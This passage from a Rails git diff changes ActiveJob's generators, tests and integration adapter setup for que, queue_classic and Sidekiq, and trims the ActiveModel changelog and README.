class_path, "#{file_name}_job.rb") + + in_root do + if self.behavior == :invoke && !File.exist?(application_job_file_name) + template 'application_job.rb', application_job_file_name + end + end end + private + def application_job_file_name + @application_job_file_name ||= if mountable_engine? + "app/jobs/#{namespaced_path}/application_job.rb" + else + 'app/jobs/application_job.rb' + end + end end end end diff --git a/activejob/lib/rails/generators/job/templates/application_job.rb b/activejob/lib/rails/generators/job/templates/application_job.rb new file mode 100644 index 0000000000..0b113b950e --- /dev/null +++ b/activejob/lib/rails/generators/job/templates/application_job.rb @@ -0,0 +1,4 @@ +<% module_namespacing do -%> +class ApplicationJob < ActiveJob::Base +end +<% end -%> diff --git a/activejob/lib/rails/generators/job/templates/job.rb b/activejob/lib/rails/generators/job/templates/job.rb index 462c71d917..4ad2914a45 100644 --- a/activejob/lib/rails/generators/job/templates/job.rb +++ b/activejob/lib/rails/generators/job/templates/job.rb @@ -1,5 +1,5 @@ <% module_namespacing do -%> -class <%= class_name %>Job < ActiveJob::Base +class <%= class_name %>Job < ApplicationJob queue_as :<%= options[:queue] %> def perform(*args) diff --git a/activejob/test/adapters/async.rb b/activejob/test/adapters/async.rb new file mode 100644 index 0000000000..08eb9658cd --- /dev/null +++ b/activejob/test/adapters/async.rb @@ -0,0 +1,2 @@ +ActiveJob::Base.queue_adapter = :async +ActiveJob::Base.queue_adapter.immediate = true diff --git a/activejob/test/cases/argument_serialization_test.rb b/activejob/test/cases/argument_serialization_test.rb index 8b9b62190f..59dc3d7f78 100644 --- a/activejob/test/cases/argument_serialization_test.rb +++ b/activejob/test/cases/argument_serialization_test.rb @@ -10,7 +10,7 @@ class ArgumentSerializationTest < ActiveSupport::TestCase end [ nil, 1, 1.0, 1_000_000_000_000_000_000_000, - 'a', true, false, + 'a', true, false, BigDecimal.new(5), [ 1, 'a' ], { 'a' => 1 } ].each do |arg| @@ -62,13 +62,14 @@ class ArgumentSerializationTest < ActiveSupport::TestCase assert_raises ActiveJob::SerializationError do ActiveJob::Arguments.serialize [ { :a => [{ 2 => 3 }] } ] end + end - assert_raises ActiveJob::SerializationError do - ActiveJob::Arguments.serialize [ '_aj_globalid' => 1 ] - end - - assert_raises ActiveJob::SerializationError do - ActiveJob::Arguments.serialize [ :_aj_globalid => 1 ] + test 'should not allow reserved hash keys' do + ['_aj_globalid', :_aj_globalid, '_aj_symbol_keys', :_aj_symbol_keys, + '_aj_hash_with_indifferent_access', :_aj_hash_with_indifferent_access].each do |key| + assert_raises ActiveJob::SerializationError do + ActiveJob::Arguments.serialize [key => 1] + end end end @@ -88,6 +89,13 @@ class ArgumentSerializationTest < ActiveSupport::TestCase assert_equal "Job with argument: 2", JobBuffer.last_value end + test 'raises a friendly SerializationError for records without ids' do + err = assert_raises ActiveJob::SerializationError do + ActiveJob::Arguments.serialize [Person.new(nil)] + end + assert_match 'Unable to serialize Person without an id.', err.message + end + private def assert_arguments_unchanged(*args) assert_arguments_roundtrip args diff --git a/activejob/test/cases/job_serialization_test.rb b/activejob/test/cases/job_serialization_test.rb index db22783030..fa94209889 100644 --- a/activejob/test/cases/job_serialization_test.rb +++ b/activejob/test/cases/job_serialization_test.rb @@ -1,6 +1,8 @@ require 'helper' require 'jobs/gid_job' +require 'jobs/hello_job' require 'models/person' +require 'json' class JobSerializationTest < ActiveSupport::TestCase setup do @@ -12,4 +14,34 @@ class JobSerializationTest < ActiveSupport::TestCase GidJob.perform_later @person assert_equal "Person with ID: 5", JobBuffer.last_value end + + test 'serialize includes current locale' do + assert_equal 'en', HelloJob.new.serialize['locale'] + end + + test 'serialize and deserialize are symmetric' do + # Round trip a job in memory only + h1 = HelloJob.new + h1.deserialize(h1.serialize) + + # Now verify it's identical to a JSON round trip. + # We don't want any non-native JSON elements in the job hash, + # like symbols. + payload = JSON.dump(h1.serialize) + h2 = HelloJob.new + h2.deserialize(JSON.load(payload)) + assert_equal h1.serialize, h2.serialize + end + + test 'deserialize sets locale' do + job = HelloJob.new + job.deserialize 'locale' => 'es' + assert_equal 'es', job.locale + end + + test 'deserialize sets default locale' do + job = HelloJob.new + job.deserialize({}) + assert_equal 'en', job.locale + end end diff --git a/activejob/test/cases/logging_test.rb b/activejob/test/cases/logging_test.rb index b18be553ec..820e9112de 100644 --- a/activejob/test/cases/logging_test.rb +++ b/activejob/test/cases/logging_test.rb @@ -74,6 +74,14 @@ class LoggingTest < ActiveSupport::TestCase assert_match(%r{Performing.*gid://aj/Person/123}, @logger.messages) end + def test_globalid_nested_parameter_logging + person = Person.new(123) + LoggingJob.perform_later(person: person) + assert_match(%r{Enqueued.*gid://aj/Person/123}, @logger.messages) + assert_match(%r{Dummy, here is it: .*#<Person:.*>}, @logger.messages) + assert_match(%r{Performing.*gid://aj/Person/123}, @logger.messages) + end + def test_enqueue_job_logging HelloJob.perform_later "Cristian" assert_match(/Enqueued HelloJob \(Job ID: .*?\) to .*?:.*Cristian/, @logger.messages) diff --git a/activejob/test/cases/queue_priority_test.rb b/activejob/test/cases/queue_priority_test.rb new file mode 100644 index 0000000000..ca17b51dad --- /dev/null +++ b/activejob/test/cases/queue_priority_test.rb @@ -0,0 +1,47 @@ +require 'helper' +require 'jobs/hello_job' + +class QueuePriorityTest < ActiveSupport::TestCase + test 'priority unset by default' do + assert_equal nil, HelloJob.priority + end + + test 'uses given priority' do + original_priority = HelloJob.priority + + begin + HelloJob.queue_with_priority 90 + assert_equal 90, HelloJob.new.priority + ensure + HelloJob.priority = original_priority + end + end + + test 'evals block given to priority to determine priority' do + original_priority = HelloJob.priority + + begin + HelloJob.queue_with_priority { 25 } + assert_equal 25, HelloJob.new.priority + ensure + HelloJob.priority = original_priority + end + end + + test 'can use arguments to determine priority in priority block' do + original_priority = HelloJob.priority + + begin + HelloJob.queue_with_priority { self.arguments.first=='1' ? 99 : 11 } + assert_equal 99, HelloJob.new('1').priority + assert_equal 11, HelloJob.new('3').priority + ensure + HelloJob.priority = original_priority + end + end + + test 'uses priority passed to #set' do + job = HelloJob.set(priority: 123).perform_later + assert_equal 123, job.priority + end +end diff --git a/activejob/test/cases/test_case_test.rb b/activejob/test/cases/test_case_test.rb index 0a3a20d5a0..616454a4b6 100644 --- a/activejob/test/cases/test_case_test.rb +++ b/activejob/test/cases/test_case_test.rb @@ -5,11 +5,11 @@ require 'jobs/nested_job' class ActiveJobTestCaseTest < ActiveJob::TestCase # this tests that this job class doesn't get its adapter set. - # that's the correct behaviour since we don't want to break - # the `class_attribute` inheritence - class TestClassAttributeInheritenceJob < ActiveJob::Base + # that's the correct behavior since we don't want to break + # the `class_attribute` inheritance + class TestClassAttributeInheritanceJob < ActiveJob::Base def self.queue_adapter=(*) - raise 'Attemping to break `class_attribute` inheritence, bad!' + raise 'Attempting to break `class_attribute` inheritance, bad!' end end diff --git a/activejob/test/cases/test_helper_test.rb b/activejob/test/cases/test_helper_test.rb index 19a2820a6e..f7ee763e8a 100644 --- a/activejob/test/cases/test_helper_test.rb +++ b/activejob/test/cases/test_helper_test.rb @@ -31,6 +31,17 @@ class EnqueuedJobsTest < ActiveJob::TestCase end end + def test_assert_enqueued_jobs_message + HelloJob.perform_later('sean') + e = assert_raises Minitest::Assertion do + assert_enqueued_jobs 2 do + HelloJob.perform_later('sean') + end + end + assert_match "Expected: 2", e.message + assert_match "Actual: 1", e.message + end + def test_assert_enqueued_jobs_with_no_block assert_nothing_raised do HelloJob.perform_later('rafael') @@ -129,6 +140,16 @@ class EnqueuedJobsTest < ActiveJob::TestCase assert_match(/1 .* but 2/, error.message) end + def test_assert_enqueued_jobs_with_only_option_as_array + assert_nothing_raised do + assert_enqueued_jobs 2, only: [HelloJob, LoggingJob] do + HelloJob.perform_later('jeremy') + LoggingJob.perform_later('stewie') + RescueJob.perform_later('david') + end + end + end + def test_assert_no_enqueued_jobs_with_only_option assert_nothing_raised do assert_no_enqueued_jobs only: HelloJob do @@ -148,12 +169,31 @@ class EnqueuedJobsTest < ActiveJob::TestCase assert_match(/0 .* but 1/, error.message) end + def test_assert_no_enqueued_jobs_with_only_option_as_array + assert_nothing_raised do + assert_no_enqueued_jobs only: [HelloJob, RescueJob] do + LoggingJob.perform_later + end + end + end + def test_assert_enqueued_job assert_enqueued_with(job: LoggingJob, queue: 'default') do LoggingJob.set(wait_until: Date.tomorrow.noon).perform_later end end + def test_assert_enqueued_job_returns + job = assert_enqueued_with(job: LoggingJob) do + LoggingJob.set(wait_until: 5.minutes.from_now).perform_later(1, 2, 3) + end + + assert_instance_of LoggingJob, job + assert_in_delta 5.minutes.from_now, job.scheduled_at, 1 + assert_equal 'default', job.queue_name + assert_equal [1, 2, 3], job.arguments + end + def test_assert_enqueued_job_failure assert_raise ActiveSupport::TestCase::Assertion do assert_enqueued_with(job: LoggingJob, queue: 'default') do @@ -178,6 +218,12 @@ class EnqueuedJobsTest < ActiveJob::TestCase end end + def test_assert_enqueued_job_with_at_option + assert_enqueued_with(job: HelloJob, at: Date.tomorrow.noon) do + HelloJob.set(wait_until: Date.tomorrow.noon).perform_later + end + end + def test_assert_enqueued_job_with_global_id_args ricardo = Person.new(9) assert_enqueued_with(job: HelloJob, args: [ricardo]) do @@ -196,6 +242,15 @@ class EnqueuedJobsTest < ActiveJob::TestCase assert_equal "No enqueued job found with {:job=>HelloJob, :args=>[#{wilma.inspect}]}", error.message end + + def test_assert_enqueued_job_does_not_change_jobs_count + HelloJob.perform_later + assert_enqueued_with(job: HelloJob) do + HelloJob.perform_later + end + + assert_equal 2, ActiveJob::Base.queue_adapter.enqueued_jobs.count + end end class PerformedJobsTest < ActiveJob::TestCase @@ -230,6 +285,17 @@ class PerformedJobsTest < ActiveJob::TestCase end end + def test_assert_performed_jobs_message + HelloJob.perform_later('sean') + e = assert_raises Minitest::Assertion do + assert_performed_jobs 2 do + HelloJob.perform_later('sean') + end + end + assert_match "Expected: 2", e.message + assert_match "Actual: 1", e.message + end + def test_assert_performed_jobs_with_no_block assert_nothing_raised do perform_enqueued_jobs do @@ -375,16 +441,39 @@ class PerformedJobsTest < ActiveJob::TestCase end end + def test_assert_performed_job_returns + job = assert_performed_with(job: NestedJob, queue: 'default') do + NestedJob.perform_later + end + + assert_instance_of NestedJob, job + assert_nil job.scheduled_at + assert_equal [], job.arguments + assert_equal 'default', job.queue_name + end + def test_assert_performed_job_failure assert_raise ActiveSupport::TestCase::Assertion do - assert_performed_with(job: LoggingJob, at: Date.tomorrow.noon, queue: 'default') do - NestedJob.set(wait_until: Date.tomorrow.noon).perform_later + assert_performed_with(job: LoggingJob) do + HelloJob.perform_later end end assert_raise ActiveSupport::TestCase::Assertion do - assert_performed_with(job: NestedJob, at: Date.tomorrow.noon, queue: 'low') do - NestedJob.set(queue: 'low', wait_until: Date.tomorrow.noon).perform_later + assert_performed_with(job: HelloJob, queue: 'low') do + HelloJob.set(queue: 'important').perform_later + end + end + end + + def test_assert_performed_job_with_at_option + assert_performed_with(job: HelloJob, at: Date.tomorrow.noon) do + HelloJob.set(wait_until: Date.tomorrow.noon).perform_later + end + + assert_raise ActiveSupport::TestCase::Assertion do + assert_performed_with(job: HelloJob, at: Date.today.noon) do + HelloJob.set(wait_until: Date.tomorrow.noon).perform_later end end end @@ -407,4 +496,16 @@ class PerformedJobsTest < ActiveJob::TestCase assert_equal "No performed job found with {:job=>HelloJob, :args=>[#{wilma.inspect}]}", error.message end + + def test_assert_performed_job_does_not_change_jobs_count + assert_performed_with(job: HelloJob) do + HelloJob.perform_later + end + + assert_performed_with(job: HelloJob) do + HelloJob.perform_later + end + + assert_equal 2, ActiveJob::Base.queue_adapter.performed_jobs.count + end end diff --git a/activejob/test/cases/translation_test.rb b/activejob/test/cases/translation_test.rb new file mode 100644 index 0000000000..d5e3aaf9e3 --- /dev/null +++ b/activejob/test/cases/translation_test.rb @@ -0,0 +1,20 @@ +require 'helper' +require 'jobs/translated_hello_job' + +class TranslationTest < ActiveSupport::TestCase + setup do + JobBuffer.clear + I18n.available_locales = [:en, :de] + @job = TranslatedHelloJob.new('Johannes') + end + + teardown do + I18n.available_locales = [:en] + end + + test 'it performs the job in the given locale' do + @job.locale = :de + @job.perform_now + assert_equal "Johannes says Guten Tag", JobBuffer.last_value + end +end diff --git a/activejob/test/helper.rb b/activejob/test/helper.rb index 72ec2b8904..54b6076f09 100644 --- a/activejob/test/helper.rb +++ b/activejob/test/helper.rb @@ -1,8 +1,7 @@ -require File.expand_path('../../../load_paths', __FILE__) - require 'active_job' require 'support/job_buffer' +ActiveSupport.halt_callback_chains_on_return_false = false GlobalID.app = 'aj' @adapter = ENV['AJ_ADAPTER'] || 'inline' @@ -10,9 +9,8 @@ GlobalID.app = 'aj' if ENV['AJ_INTEGRATION_TESTS'] require 'support/integration/helper' else + ActiveJob::Base.logger = Logger.new(nil) require "adapters/#{@adapter}" end require 'active_support/testing/autorun' - -ActiveSupport::TestCase.test_order = :random diff --git a/activejob/test/integration/queuing_test.rb b/activejob/test/integration/queuing_test.rb index 38874b51a8..40f27500a5 100644 --- a/activejob/test/integration/queuing_test.rb +++ b/activejob/test/integration/queuing_test.rb @@ -1,5 +1,6 @@ require 'helper' require 'jobs/logging_job' +require 'jobs/hello_job' require 'active_support/core_ext/numeric/time' class QueuingTest < ActiveSupport::TestCase @@ -10,7 +11,7 @@ class QueuingTest < ActiveSupport::TestCase end test 'should not run jobs queued on a non-listening queue' do - skip if adapter_is?(:inline) || adapter_is?(:sucker_punch) + skip if adapter_is?(:inline, :async, :sucker_punch, :que) old_queue = TestJob.queue_name begin @@ -23,6 +24,16 @@ class QueuingTest < ActiveSupport::TestCase end end + test 'should supply a wrapped class name to Sidekiq' do + skip unless adapter_is?(:sidekiq) + Sidekiq::Testing.fake! do + ::HelloJob.perform_later + hash = ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper.jobs.first + assert_equal "ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper", hash['class'] + assert_equal "HelloJob", hash['wrapped'] + end + end + test 'should not run job enqueued in the future' do begin TestJob.set(wait: 10.minutes).perform_later @id @@ -35,7 +46,7 @@ class QueuingTest < ActiveSupport::TestCase test 'should run job enqueued in the future at the specified time' do begin - TestJob.set(wait: 3.seconds).perform_later @id + TestJob.set(wait: 5.seconds).perform_later @id wait_for_jobs_to_finish_for(2.seconds) assert_not job_executed wait_for_jobs_to_finish_for(10.seconds) @@ -44,4 +55,45 @@ class QueuingTest < ActiveSupport::TestCase skip end end + + test 'should supply a provider_job_id when available for immediate jobs' do + skip unless adapter_is?(:async, :delayed_job, :sidekiq, :qu, :que, :queue_classic) + test_job = TestJob.perform_later @id + assert test_job.provider_job_id, 'Provider job id should be set by provider' + end + + test 'should supply a provider_job_id when available for delayed jobs' do + skip unless adapter_is?(:async, :delayed_job, :sidekiq, :que, :queue_classic) + delayed_test_job = TestJob.set(wait: 1.minute).perform_later @id + assert delayed_test_job.provider_job_id, 'Provider job id should by set for delayed jobs by provider' + end + + test 'current locale is kept while running perform_later' do + skip if adapter_is?(:inline) + + begin + I18n.available_locales = [:en, :de] + I18n.locale = :de + + TestJob.perform_later @id + wait_for_jobs_to_finish_for(5.seconds) + assert job_executed + assert_equal 'de', job_executed_in_locale + ensure + I18n.available_locales = [:en] + I18n.locale = :en + end + end + + test 'should run job with higher priority first' do + skip unless adapter_is?(:delayed_job, :que) + + wait_until = Time.now + 3.seconds + TestJob.set(wait_until: wait_until, priority: 20).perform_later "#{@id}.1" + TestJob.set(wait_until: wait_until, priority: 10).perform_later "#{@id}.2" + wait_for_jobs_to_finish_for(10.seconds) + assert job_executed "#{@id}.1" + assert job_executed "#{@id}.2" + assert job_executed_at("#{@id}.2") < job_executed_at("#{@id}.1") + end end diff --git a/activejob/test/jobs/queue_as_job.rb b/activejob/test/jobs/queue_as_job.rb new file mode 100644 index 0000000000..897aef52e5 --- /dev/null +++ b/activejob/test/jobs/queue_as_job.rb @@ -0,0 +1,10 @@ +require_relative '../support/job_buffer' + +class QueueAsJob < ActiveJob::Base + MY_QUEUE = :low_priority + queue_as MY_QUEUE + + def perform(greeter = "David") + JobBuffer.add("#{greeter} says hello") + end +end diff --git a/activejob/test/jobs/rescue_job.rb b/activejob/test/jobs/rescue_job.rb index f1b9c9349e..4f6376c850 100644 --- a/activejob/test/jobs/rescue_job.rb +++ b/activejob/test/jobs/rescue_job.rb @@ -11,7 +11,7 @@ class RescueJob < ActiveJob::Base rescue_from(ActiveJob::DeserializationError) do |e| JobBuffer.add('rescued from DeserializationError') - JobBuffer.add("DeserializationError original exception was #{e.original_exception.class.name}") + JobBuffer.add("DeserializationError original exception was #{e.cause.class.name}") end def perform(person = "david") diff --git a/activejob/test/jobs/translated_hello_job.rb b/activejob/test/jobs/translated_hello_job.rb new file mode 100644 index 0000000000..9657cd3f54 --- /dev/null +++ b/activejob/test/jobs/translated_hello_job.rb @@ -0,0 +1,10 @@ +require_relative '../support/job_buffer' + +class TranslatedHelloJob < ActiveJob::Base + def perform(greeter = "David") + translations = { en: 'Hello', de: 'Guten Tag' } + hello = translations[I18n.locale] + + JobBuffer.add("#{greeter} says #{hello}") + end +end diff --git a/activejob/test/support/integration/adapters/async.rb b/activejob/test/support/integration/adapters/async.rb new file mode 100644 index 0000000000..44ab98437a --- /dev/null +++ b/activejob/test/support/integration/adapters/async.rb @@ -0,0 +1,10 @@ +module AsyncJobsManager + def setup + ActiveJob::Base.queue_adapter = :async + ActiveJob::Base.queue_adapter.immediate = false + end + + def clear_jobs + ActiveJob::Base.queue_adapter.shutdown + end +end diff --git a/activejob/test/support/integration/adapters/que.rb b/activejob/test/support/integration/adapters/que.rb index ba7657a42a..0cd8952a28 100644 --- a/activejob/test/support/integration/adapters/que.rb +++ b/activejob/test/support/integration/adapters/que.rb @@ -2,6 +2,15 @@ module QueJobsManager def setup require 'sequel' ActiveJob::Base.queue_adapter = :que + Que.mode = :off + Que.worker_count = 1 + end + + def clear_jobs + Que.clear! + end + + def start_workers que_url = ENV['QUE_DATABASE_URL'] || 'postgres:///active_jobs_que_int_test' uri = URI.parse(que_url) user = uri.user||ENV['USER'] @@ -11,24 +20,17 @@ module QueJobsManager %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1} Que.connection = Sequel.connect(que_url) Que.migrate! - Que.mode = :off - Que.worker_count = 1 - rescue Sequel::DatabaseConnectionError - puts "Cannot run integration tests for que. To be able to run integration tests for que you need to install and start postgresql.\n" - exit - end - - def clear_jobs - Que.clear! - end - def start_workers @thread = Thread.new do loop do - Que::Job.work("integration_tests") + Que::Job.work sleep 0.5 end end + + rescue Sequel::DatabaseConnectionError + puts "Cannot run integration tests for que. To be able to run integration tests for que you need to install and start postgresql.\n" + exit end def stop_workers diff --git a/activejob/test/support/integration/adapters/queue_classic.rb b/activejob/test/support/integration/adapters/queue_classic.rb index f522b2711f..29c04bf625 100644 --- a/activejob/test/support/integration/adapters/queue_classic.rb +++ b/activejob/test/support/integration/adapters/queue_classic.rb @@ -3,17 +3,7 @@ module QueueClassicJobsManager ENV['QC_DATABASE_URL'] ||= 'postgres:///active_jobs_qc_int_test' ENV['QC_RAILS_DATABASE'] = 'false' ENV['QC_LISTEN_TIME'] = "0.5" - uri = URI.parse(ENV['QC_DATABASE_URL']) - user = uri.user||ENV['USER'] - pass = uri.password - db = uri.path[1..-1] - %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'drop database if exists "#{db}"' -U #{user} -t template1} - %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1} ActiveJob::Base.queue_adapter = :queue_classic - QC::Setup.create - rescue PG::ConnectionBad - puts "Cannot run integration tests for queue_classic. To be able to run integration tests for queue_classic you need to install and start postgresql.\n" - exit end def clear_jobs @@ -21,12 +11,24 @@ module QueueClassicJobsManager end def start_workers + uri = URI.parse(ENV['QC_DATABASE_URL']) + user = uri.user||ENV['USER'] + pass = uri.password + db = uri.path[1..-1] + %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'drop database if exists "#{db}"' -U #{user} -t template1} + %x{#{"PGPASSWORD=\"#{pass}\"" if pass} psql -c 'create database "#{db}"' -U #{user} -t template1} + QC::Setup.create + QC.default_conn_adapter.disconnect QC.default_conn_adapter = nil @pid = fork do worker = QC::Worker.new(q_name: 'integration_tests') worker.start end + + rescue PG::ConnectionBad + puts "Cannot run integration tests for queue_classic. To be able to run integration tests for queue_classic you need to install and start postgresql.\n" + exit end def stop_workers diff --git a/activejob/test/support/integration/adapters/sidekiq.rb b/activejob/test/support/integration/adapters/sidekiq.rb index 6ff18fb56a..2f19d7dacc 100644 --- a/activejob/test/support/integration/adapters/sidekiq.rb +++ b/activejob/test/support/integration/adapters/sidekiq.rb @@ -1,6 +1,8 @@ -require 'sidekiq/cli' require 'sidekiq/api' +require 'sidekiq/testing' +Sidekiq::Testing.disable! + module SidekiqJobsManager def setup @@ -17,33 +19,69 @@ module SidekiqJobsManager end def start_workers - fork do - sidekiq = Sidekiq::CLI.instance + continue_read, continue_write = IO.pipe + death_read, death_write = IO.pipe + + @pid = fork do + continue_read.close + death_write.close + + # Sidekiq is not warning-clean :( + $VERBOSE = false + + $stdin.reopen('/dev/null') + $stdout.sync = true + $stderr.sync = true + logfile = Rails.root.join("log/sidekiq.log").to_s - pidfile = Rails.root.join("tmp/sidekiq.pid").to_s - sidekiq.parse([ "--require", Rails.root.to_s, - "--queue", "integration_tests", - "--logfile", logfile, - "--pidfile", pidfile, - "--environment", "test", - "--concurrency", "1", - "--timeout", "1", - "--daemon", - ]) - require 'celluloid' - require 'sidekiq/scheduled' - Sidekiq.poll_interval = 0.5 - Sidekiq::Scheduled.const_set :INITIAL_WAIT, 1 - sidekiq.run + Sidekiq::Logging.initialize_logger(logfile) + + self_read, self_write = IO.pipe + trap "TERM" do + self_write.puts("TERM") + end + + Thread.new do + begin + death_read.read + rescue Exception + end + self_write.puts("TERM") + end + + require 'sidekiq/launcher' + sidekiq = Sidekiq::Launcher.new({queues: ["integration_tests"], + environment: "test", + concurrency: 1, + timeout: 1, + }) + Sidekiq.average_scheduled_poll_interval = 0.5 + Sidekiq.options[:poll_interval_average] = 1 + begin + sidekiq.run + continue_write.puts "started" + while readable_io = IO.select([self_read]) + signal = readable_io.first[0].gets.strip + raise Interrupt if signal == "TERM" + end + rescue Interrupt + end + + sidekiq.stop + exit! end - sleep 1 + continue_write.close + death_read.close + @worker_lifeline = death_write + + raise "Failed to start worker" unless continue_read.gets == "started\n" end def stop_workers - pidfile = Rails.root.join("tmp/sidekiq.pid").to_s - Process.kill 'TERM', File.open(pidfile).read.to_i - FileUtils.rm_f pidfile - rescue + if @pid + Process.kill 'TERM', @pid + Process.wait @pid + end end def can_run? diff --git a/activejob/test/support/integration/dummy_app_template.rb b/activejob/test/support/integration/dummy_app_template.rb index 09a68738ad..a0ef38b0b2 100644 --- a/activejob/test/support/integration/dummy_app_template.rb +++ b/activejob/test/support/integration/dummy_app_template.rb @@ -1,20 +1,28 @@ if ENV['AJ_ADAPTER'] == 'delayed_job' generate "delayed_job:active_record", "--quiet" - rake("db:migrate") end +rails_command("db:migrate") + initializer 'activejob.rb', <<-CODE require "#{File.expand_path("../jobs_manager.rb", __FILE__)}" JobsManager.current_manager.setup CODE +initializer 'i18n.rb', <<-CODE +I18n.available_locales = [:en, :de] +CODE + file 'app/jobs/test_job.rb', <<-CODE class TestJob < ActiveJob::Base queue_as :integration_tests def perform(x) - File.open(Rails.root.join("tmp/\#{x}"), "w+") do |f| - f.write x + File.open(Rails.root.join("tmp/\#{x}"), "wb+") do |f| + f.write Marshal.dump({ + "locale" => I18n.locale.to_s || "en", + "executed_at" => Time.now.to_r + }) end end end diff --git a/activejob/test/support/integration/helper.rb b/activejob/test/support/integration/helper.rb index 8c2e5a86c2..4a1b0bfbcb 100644 --- a/activejob/test/support/integration/helper.rb +++ b/activejob/test/support/integration/helper.rb @@ -1,4 +1,4 @@ -puts "*** rake aj:integration:#{ENV['AJ_ADAPTER']} ***\n" +puts "\n\n*** rake aj:integration:#{ENV['AJ_ADAPTER']} ***\n" ENV["RAILS_ENV"] = "test" ActiveJob::Base.queue_name_prefix = nil diff --git a/activejob/test/support/integration/test_case_helpers.rb b/activejob/test/support/integration/test_case_helpers.rb index bed28b2900..fdf25c67a1 100644 --- a/activejob/test/support/integration/test_case_helpers.rb +++ b/activejob/test/support/integration/test_case_helpers.rb @@ -1,4 +1,5 @@ require 'active_support/concern' +require 'active_support/core_ext/string/inflections' require 'support/integration/jobs_manager' module TestCaseHelpers @@ -27,8 +28,9 @@ module TestCaseHelpers jobs_manager.clear_jobs end - def adapter_is?(adapter_class_symbol) - ActiveJob::Base.queue_adapter.class.name.split("::").last.gsub(/Adapter$/, '').underscore == adapter_class_symbol.to_s + def adapter_is?(*adapter_class_symbols) + adapter = ActiveJob::Base.queue_adapter.class.name.demodulize.chomp('Adapter').underscore + adapter_class_symbols.map(&:to_s).include? adapter end def wait_for_jobs_to_finish_for(seconds=60) @@ -42,7 +44,23 @@ module TestCaseHelpers end end - def job_executed - Dummy::Application.root.join("tmp/#{@id}").exist? + def job_file(id) + Dummy::Application.root.join("tmp/#{id}") + end + + def job_executed(id=@id) + job_file(id).exist? + end + + def job_data(id) + Marshal.load(File.binread(job_file(id))) + end + + def job_executed_at(id=@id) + job_data(id)["executed_at"] + end + + def job_executed_in_locale(id=@id) + job_data(id)["locale"] end end diff --git a/activejob/test/support/que/inline.rb b/activejob/test/support/que/inline.rb index 2e210acb6b..0950e52d28 100644 --- a/activejob/test/support/que/inline.rb +++ b/activejob/test/support/que/inline.rb @@ -3,7 +3,12 @@ require 'que' Que::Job.class_eval do class << self; alias_method :original_enqueue, :enqueue; end def self.enqueue(*args) - args.pop if args.last.is_a?(Hash) + if args.last.is_a?(Hash) + options = args.pop + options.delete(:run_at) + options.delete(:priority) + args << options unless options.empty? + end self.run(*args) end end diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md index 80b42859e2..206699c036 100644 --- a/activemodel/CHANGELOG.md +++ b/activemodel/CHANGELOG.md @@ -1,84 +1,2 @@ -* Deprecate `ActiveModel::Errors#add_on_empty` and `ActiveModel::Errors#add_on_blank` - with no replacement. - *Wojciech WnÄ™trzak* - -* Deprecate `ActiveModel::Errors#get`, `ActiveModel::Errors#set` and - `ActiveModel::Errors#[]=` methods that have inconsistent behaviour. - - *Wojciech WnÄ™trzak* - -* Allow symbol as values for `tokenize` of `LengthValidator` - - *Kensuke Naito* - -* Assigning an unknown attribute key to an `ActiveModel` instance during initialization - will now raise `ActiveModel::AttributeAssignment::UnknownAttributeError` instead of - `NoMethodError`. - - Example: - - User.new(foo: 'some value') - # => ActiveModel::AttributeAssignment::UnknownAttributeError: unknown attribute 'foo' for User. - - *Eugene Gilburg* - -* Extracted `ActiveRecord::AttributeAssignment` to `ActiveModel::AttributeAssignment` - allowing to use it for any object as an includable module. - - Example: - - class Cat - include ActiveModel::AttributeAssignment - attr_accessor :name, :status - end - - cat = Cat.new - cat.assign_attributes(name: "Gorby", status: "yawning") - cat.name # => 'Gorby' - cat.status => 'yawning' - cat.assign_attributes(status: "sleeping") - cat.name # => 'Gorby' - cat.status => 'sleeping' - - *Bogdan Gusiev* - -* Add `ActiveModel::Errors#details` - - To be able to return type of used validator, one can now call `details` - on errors instance. - - Example: - - class User < ActiveRecord::Base - validates :name, presence: true - end - - user = User.new; user.valid?; user.errors.details - => {name: [{error: :blank}]} - - *Wojciech WnÄ™trzak* - -* Change validates_acceptance_of to accept true by default. - - The default for validates_acceptance_of is now "1" and true. - In the past, only "1" was the default and you were required to add - accept: true. - -* Remove deprecated `ActiveModel::Dirty#reset_#{attribute}` and - `ActiveModel::Dirty#reset_changes`. - - *Rafael Mendonça França* - -* Change the way in which callback chains can be halted. - - The preferred method to halt a callback chain from now on is to explicitly - `throw(:abort)`. - In the past, returning `false` in an ActiveModel or ActiveModel::Validations - `before_` callback had the side effect of halting the callback chain. - This is not recommended anymore and, depending on the value of the - `config.active_support.halt_callback_chains_on_return_false` option, will - either not work at all or display a deprecation warning. - - -Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md) for previous changes. +Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/activemodel/CHANGELOG.md) for previous changes. diff --git a/activemodel/MIT-LICENSE b/activemodel/MIT-LICENSE index 3ec7a617cf..8573eb1225 100644 --- a/activemodel/MIT-LICENSE +++ b/activemodel/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2004-2015 David Heinemeier Hansson +Copyright (c) 2004-2016 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc index 4920666f27..77f5761993 100644 --- a/activemodel/README.rdoc +++ b/activemodel/README.rdoc @@ -154,8 +154,8 @@ behavior out of the box: * Making objects serializable - ActiveModel::Serialization provides a standard interface for your object - to provide +to_json+ or +to_xml+ serialization. + <tt>ActiveModel::Serialization</tt> provides a standard interface for your object + to provide +to_json+ serialization. class SerialPerson include ActiveModel::Serialization @@ -177,13 +177,6 @@ behavior out of the box: s = SerialPerson.new s.to_json # => "{\"name\":null}" - class SerialPerson - include ActiveModel::Serializers::Xml - end - - s = SerialPerson.new - s.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<serial-person... - {Learn more}[link:classes/ActiveModel/Serialization.html] * Internationalization (i18n) support @@ -242,7 +235,7 @@ behavior out of the box: The latest version of Active Model can be installed with RubyGems: - % [sudo] gem install activemodel + $ gem install activemodel Source code can be downloaded as part of the Rails project on GitHub @@ -269,4 +262,3 @@ Bug reports can be filed 